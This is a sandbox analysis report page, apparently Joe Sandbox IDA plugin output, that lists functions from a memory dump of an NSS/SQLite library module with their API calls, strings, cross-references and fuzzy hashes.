Associated: 00000000.00000002.2627586878.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627627024.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627699625.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: NormalizeTime
String ID:
API String ID: 1467309002-0
Opcode ID: 944c23ead05581fd3864e53c7c64a7e90a37809f398494ac893bd29b57120f2a
Instruction ID: 9829d9b4f778185ebe6cf057b289177c5574d05830edbbe3626712f4e434863f
Opcode Fuzzy Hash: 944c23ead05581fd3864e53c7c64a7e90a37809f398494ac893bd29b57120f2a
Instruction Fuzzy Hash: E771A571A057019FC304DF28C88061ABBE5FF89318F258B2EE469C77A1E730D956CB96

Function 6C73CDC0 Relevance: 7.4, APIs: 3, Strings: 1, Instructions: 423stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C73D086
PR_Malloc.NSS3(00000001), ref: 6C73D0B9
PR_Free.NSS3(?), ref: 6C73D138

Strings

>, xrefs: 6C73CF5B

Memory Dump Source

Source File: 00000000.00000002.2627068572.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627022159.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627533228.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627586878.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627627024.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627699625.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: FreeMallocstrlen
String ID: >
API String ID: 1782319670-325317158
Opcode ID: 33f3c904727b78e6a3ccadd60312c31edcb67202b830285271c06c35c0548f6e
Instruction ID: c2e86caf183a3e4378508cac5b8b714b8a7ad419d8b6be0c32cad6c131b3e09e
Opcode Fuzzy Hash: 33f3c904727b78e6a3ccadd60312c31edcb67202b830285271c06c35c0548f6e
Instruction Fuzzy Hash: E7D19D62B9157A0BFB14487C8E613EA77938762374F586335D1298BBE7E719C843C309

Function 6C5BAC60 Relevance: 6.4, Strings: 5, Instructions: 181COMMON

Download Yara Rule

Strings

winUnlockReadLock, xrefs: 6C5BAE9F
winUnlock, xrefs: 6C5BAE18
0sl, xrefs: 6C5BACC0, 6C5BAD22, 6C5BAD5E, 6C5BAE45
Psl, xrefs: 6C5BADDB, 6C5BADF5, 6C5BAE6A
psl, xrefs: 6C5BADA7

Memory Dump Source

Source File: 00000000.00000002.2627068572.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627022159.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627533228.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627586878.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627627024.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627699625.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID:
String ID: 0sl$Psl$psl$winUnlock$winUnlockReadLock
API String ID: 0-2399121490
Opcode ID: f0e84e5eba1832cb0be205c514a31c1095910df39bce3dbe861c16a6ea9d5806
Instruction ID: 8fd2b052485038a835556eb50a6e98c367ded4305cf0590b331fd5a81b75dd8f
Opcode Fuzzy Hash: f0e84e5eba1832cb0be205c514a31c1095910df39bce3dbe861c16a6ea9d5806
Instruction Fuzzy Hash: A57181706083449FDB14CF28D894AABBBF5FF89314F24C629F95997211E730A985CBD1

Function 6C6DAD50 Relevance: 6.4, APIs: 4, Instructions: 389COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2627068572.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627022159.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627533228.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627586878.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627627024.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627699625.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b68f7ffc87aae83390ead40eaa2f97f9e43afd123abbdf093e21d6e808dec51a
Instruction ID: 921d543df01ed27a5e43d52de779543fa744a7d5815976b177d22342a9d16ac6
Opcode Fuzzy Hash: b68f7ffc87aae83390ead40eaa2f97f9e43afd123abbdf093e21d6e808dec51a
Instruction Fuzzy Hash: C5F1C071F0522A8FDB05CF28C9447A977F0AB8B308F264239C915DB754E774A941CBE4

Function 6C690E20 Relevance: 6.3, APIs: 2, Strings: 2, Instructions: 279COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,00000000,00000000,00000000), ref: 6C691052
memset.VCRUNTIME140(-0000001C,?,?,00000000), ref: 6C691086

Strings

h(il, xrefs: 6C690E55, 6C690EC4, 6C690F3A, 6C690FA7
h(il, xrefs: 6C691062, 6C69105D, 6C690F37, 6C691081, 6C691082

Memory Dump Source

Source File: 00000000.00000002.2627068572.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627022159.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627533228.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627586878.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627627024.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627699625.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: memcpymemset
String ID: h(il$h(il
API String ID: 1297977491-1183790091
Opcode ID: 47fb67eecf4f761a5f14aee5553248ba9480c3adfa8c7f73625f9869570e407f
Instruction ID: d87d084c00b0e0a4ea07630a7ac639ed43069fe47f030fda25ec9574dcc30541
Opcode Fuzzy Hash: 47fb67eecf4f761a5f14aee5553248ba9480c3adfa8c7f73625f9869570e407f
Instruction Fuzzy Hash: B0A15071B0125A9FCF08CF99C894AEEBBB6BF4D314B148129E905A7700D735ED41CBA4

Function 6C606900 Relevance: 6.3, Strings: 4, Instructions: 1257COMMON

Download Yara Rule

Strings

sqlite\_%, xrefs: 6C606953
BBB, xrefs: 6C607207, 6C60780B
not authorized, xrefs: 6C6078EC, 6C6078F1
authorizer malfunction, xrefs: 6C607910

Memory Dump Source

Source File: 00000000.00000002.2627068572.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627022159.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627533228.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627586878.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627627024.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627699625.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: memcpystrlen
String ID: BBB$authorizer malfunction$not authorized$sqlite\_%
API String ID: 3412268980-2664116055
Opcode ID: 417b751885c3472f668139ea3b8fca997ba54df1124c8272ae22c176835f1d36
Instruction ID: e0c2632eb78d306ef6f0bfe546bf77b0c4482ea623bc7090094026509ddc4cde
Opcode Fuzzy Hash: 417b751885c3472f668139ea3b8fca997ba54df1124c8272ae22c176835f1d36
Instruction Fuzzy Hash: EEC28174A04205CFCB18CF58C980AA9BBF2FF89308F2481ADD915AB751D736E956CF94

Function 6C5B4DB0 Relevance: 5.3, Strings: 4, Instructions: 318COMMON

Download Yara Rule

Strings

winUnlockReadLock, xrefs: 6C5B5125
0sl, xrefs: 6C5B4EDE, 6C5B4F82
Psl, xrefs: 6C5B5019, 6C5B50FA, 6C5B5157, 6C5B51DE, 6C5B51F2, 6C5B520D, 6C5B5220, 6C5B52A2, 6C5B52B5
psl, xrefs: 6C5B4E1C, 6C5B4E81, 6C5B4FDE, 6C5B5047, 6C5B50BB, 6C5B51A3, 6C5B526C

Memory Dump Source

Source File: 00000000.00000002.2627068572.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627022159.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627533228.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627586878.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627627024.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627699625.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID:
String ID: 0sl$Psl$psl$winUnlockReadLock
API String ID: 0-4239522636
Opcode ID: 9e4027a42c8b45556f7ed570f6ceff283c89e509106b88c4e1c6dbdd16f4629c
Instruction ID: a1ab417c0296d69fc3bee057fd04a608bed92f15d21ecede4bed3465f036fd18
Opcode Fuzzy Hash: 9e4027a42c8b45556f7ed570f6ceff283c89e509106b88c4e1c6dbdd16f4629c
Instruction Fuzzy Hash: 35E12F70A09344CFDB05DF28D89865ABBF0FF8A304F51866DF889A7351E7709985CB92

Function 6C5B6F10 Relevance: 5.2, Strings: 4, Instructions: 218COMMON

Download Yara Rule

Strings

noskipscan*, xrefs: 6C5B7067
*?[, xrefs: 6C5B7034, 6C5B7052, 6C5B7070
sz=[0-9]*, xrefs: 6C5B7049
unordered*, xrefs: 6C5B702B

Memory Dump Source

Source File: 00000000.00000002.2627068572.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627022159.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627533228.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627586878.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627627024.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627699625.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID:
String ID: *?[$noskipscan*$sz=[0-9]*$unordered*
API String ID: 0-3485574213
Opcode ID: 963251e4c779d89738a2b43f2b9e4aadd569a143d5a8d94d21cc86867b752f7a
Instruction ID: 02e8d403aa829ccf4884791145c41d281f48177d20f85f5a05698aea0539649c
Opcode Fuzzy Hash: 963251e4c779d89738a2b43f2b9e4aadd569a143d5a8d94d21cc86867b752f7a
Instruction Fuzzy Hash: 93718C32F002154BEB14CA6DCCA079A7FA29F85354F250279CD59BBFC1EA719C468BE1

Function 6C64EE70 Relevance: 3.2, APIs: 2, Instructions: 223COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C64F019
PK11_GenerateRandom.NSS3(?,00000000), ref: 6C64F0F9

Memory Dump Source

Source File: 00000000.00000002.2627068572.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627022159.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627533228.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627586878.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627627024.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627699625.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: ErrorGenerateK11_Random
String ID:
API String ID: 3009229198-0
Opcode ID: f28674b34aa5c963032b75bc96fe7a21ab5569db4e47a29f8ddf8cc7e5d013c4
Instruction ID: 55df6bf4cec9d51c39c1d56be3e76a07cca87d5d70adfdce66244fdf42d3c552
Opcode Fuzzy Hash: f28674b34aa5c963032b75bc96fe7a21ab5569db4e47a29f8ddf8cc7e5d013c4
Instruction Fuzzy Hash: 0391AF75E0061A8BCB14CF68C8916AEB7F1FF85324F24872DD962A7BC0D730A905CB56

Function 6C672F70 Relevance: 3.1, APIs: 2, Instructions: 149COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE09A,00000000,00000000,?,6C697929), ref: 6C672FAC
PR_SetError.NSS3(FFFFE040,00000000,00000000,?,6C697929), ref: 6C672FE0

Memory Dump Source

Source File: 00000000.00000002.2627068572.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627022159.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627533228.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627586878.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627627024.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627699625.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Error
String ID:
API String ID: 2619118453-0
Opcode ID: fb17665cf0f442b4f90738db0e30dd32d45926defd01708573bf80a169364f82
Instruction ID: a47ff585565267fd682d4dd60f533aec5e021299a2d683d516cb212faad37d65
Opcode Fuzzy Hash: fb17665cf0f442b4f90738db0e30dd32d45926defd01708573bf80a169364f82
Instruction Fuzzy Hash: FA513471A059118FC730CE69C888BAA73B1FF46318F250A39D9099BB01C735EC42CBB9

Function 6C5E49F0 Relevance: 1.9, APIs: 1, Instructions: 673COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2627068572.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627022159.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627533228.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627586878.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627627024.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627699625.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4d4da97be1dcdde7ade7f343b56ba12d51f7a8ddf6b0f51a2a290c48a19b9d19
Instruction ID: 76640cd22657c867a29dbb23c81cb1f8c63ee67d434af969533982d39a09e4ed
Opcode Fuzzy Hash: 4d4da97be1dcdde7ade7f343b56ba12d51f7a8ddf6b0f51a2a290c48a19b9d19
Instruction Fuzzy Hash: 8B524A74E04219CFDB04CF99C880BAEBBF2FF89318F258159E815AB751D735A942CB94

Function 6C67ED70 Relevance: 1.7, APIs: 1, Instructions: 217memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(00000000,0000003C), ref: 6C67EE3D

Memory Dump Source

Source File: 00000000.00000002.2627068572.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627022159.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627533228.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627586878.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627627024.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627699625.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Alloc_ArenaUtil
String ID:
API String ID: 2062749931-0
Opcode ID: b51203e4b2318080346e191dc444ed80196527117a86a943b733acd6992df4c0
Instruction ID: 2640aeff40cb19a075f5b2d351a2ff7679f145be525104ddec0defd77f1f3e49
Opcode Fuzzy Hash: b51203e4b2318080346e191dc444ed80196527117a86a943b733acd6992df4c0
Instruction Fuzzy Hash: 4871E472E01B018FD728CF59C8807AAB7F2BF98304F154A2DD85697B91D734E905CBA5

Function 6C63A820 Relevance: 1.4, Strings: 1, Instructions: 169COMMON

Download Yara Rule

Strings

[[bl, xrefs: 6C63A92D, 6C63A943

Memory Dump Source

Source File: 00000000.00000002.2627068572.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627022159.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627533228.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627586878.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627627024.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627699625.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID:
String ID: [[bl
API String ID: 0-1315877560
Opcode ID: 7950ff0668a4aad077b635b787e8189e12345581ff08d1c2b5a850d4b4f2927e
Instruction ID: d0395ea1fdfc735f5ee14104980551ab9d465ff5cd5401808d1af44ad015a1e6
Opcode Fuzzy Hash: 7950ff0668a4aad077b635b787e8189e12345581ff08d1c2b5a850d4b4f2927e
Instruction Fuzzy Hash: 6751CD71A012298FDF04CF95D944BAA7BE4EF49308F26A06DE81D9B792D730D841DB98

Function 6C5E8960 Relevance: .4, Instructions: 381COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2627068572.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627022159.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627533228.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627586878.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627627024.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627699625.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 479b8d2f213f65b1b536ab0ea025c35109ca1eff46ca7d7c516c56307c097544
Instruction ID: 8cbd607db6cb99dfa598b82d4fbe377700132a5c0dac296a464f663a10922cba
Opcode Fuzzy Hash: 479b8d2f213f65b1b536ab0ea025c35109ca1eff46ca7d7c516c56307c097544
Instruction Fuzzy Hash: 3DD14E71F052168FDB48CEADC8806AEB7F2FB8D314F25856AC556EBA40D7309C41CB92

Function 6C618EA0 Relevance: .1, Instructions: 57COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2627068572.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627022159.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627533228.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627586878.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627627024.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627699625.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 94ecf7e04e7934cfd18e343f2ee9bddede6be6ee58ec7905786a050412613c61
Instruction ID: 5d193d60cae71f027da8ad0ca9ae5b04221a55f1c776720f4358b36519538651
Opcode Fuzzy Hash: 94ecf7e04e7934cfd18e343f2ee9bddede6be6ee58ec7905786a050412613c61
Instruction Fuzzy Hash: 8411E631A092158FD704CF29D88475AB365BF4635DF15427AD4058FE61C375D882C7C5

Function 6C6F0C40 Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2627068572.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627022159.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627533228.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627586878.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627627024.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627699625.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 91de60a2f31100f091d8918921800affa28116a0daeb968457d929ea2137778a
Instruction ID: 26e266e97f3976d207bf4a368d869b4e51e1864b4bb119f0fd4f13e974109bdb
Opcode Fuzzy Hash: 91de60a2f31100f091d8918921800affa28116a0daeb968457d929ea2137778a
Instruction Fuzzy Hash: 40119179704345DFDB00DF19C8946AA77A6FF85368F248079D8298B701DB71E807CBA5

Function 6C6F0D60 Relevance: .0, Instructions: 26COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2627068572.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627022159.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627533228.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627586878.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627627024.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627699625.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9ba2eb2004aedd4f77228f2367ef2a228ee838c060cfdc78aa45cc4f3a876bfd
Instruction ID: 3dcab86dcf261d2b4dc887514d97702cab3a1f82dac575f29e4e2ba17253b081
Opcode Fuzzy Hash: 9ba2eb2004aedd4f77228f2367ef2a228ee838c060cfdc78aa45cc4f3a876bfd
Instruction Fuzzy Hash: 56E0923A202054A7DB148E09C460AA973DADF82719FB8807DCC6D9FA01D733F80387A5

Function 6C61CC60 Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2627068572.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627022159.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627533228.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627586878.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627627024.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627699625.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c311e1401098cc30a1df3c437a51130739c937bb650265a5c62cd59fd94b9925
Instruction ID: 022a49cd63d4f59b9309fa10525104e97f8178c7f04f5e1c64e3fe758e7ee606
Opcode Fuzzy Hash: c311e1401098cc30a1df3c437a51130739c937bb650265a5c62cd59fd94b9925
Instruction Fuzzy Hash: 30C09238244708CFC704DF08E499DA53BF8FF0E61072400A4EA028B721EB71FC00DA80

Function 6C7309D0 Relevance: 61.5, APIs: 33, Strings: 2, Instructions: 275filetimethreadCOMMON

Download Yara Rule

APIs

PR_Now.NSS3 ref: 6C730A22

Part of subcall function 6C6E9DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6C730A27), ref: 6C6E9DC6
Part of subcall function 6C6E9DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6C730A27), ref: 6C6E9DD1
Part of subcall function 6C6E9DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C6E9DED

PR_ExplodeTime.NSS3(00000000,?,?,?), ref: 6C730A35

Part of subcall function 6C613810: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C61382A
Part of subcall function 6C613810: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C613879

PR_snprintf.NSS3(?,000001FF,%04d-%02d-%02d %02d:%02d:%02d.%06d UTC - ,?,?,?,?,?,?,?), ref: 6C730A66
PR_GetCurrentThread.NSS3 ref: 6C730A70
PR_snprintf.NSS3(?,000001FF,%ld[%p]: ,00000000,00000000), ref: 6C730A9D
PR_vsnprintf.NSS3(-FFFFFDF0,000001FF,?,?), ref: 6C730AC8
PR_vsmprintf.NSS3(?,?), ref: 6C730AE8
EnterCriticalSection.KERNEL32(?), ref: 6C730B19
OutputDebugStringA.KERNEL32(00000000), ref: 6C730B48
OutputDebugStringA.KERNEL32(?), ref: 6C730B88
fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,?,?), ref: 6C730C36
fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C730C45
memcpy.VCRUNTIME140(?,?,00000000), ref: 6C730C5D
_PR_MD_UNLOCK.NSS3(?), ref: 6C730C76
PR_LogFlush.NSS3 ref: 6C730C7E
fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,?,?), ref: 6C730C8D
fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C730C9C
OutputDebugStringA.KERNEL32(?), ref: 6C730CD1
fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,00000000,?), ref: 6C730CEC
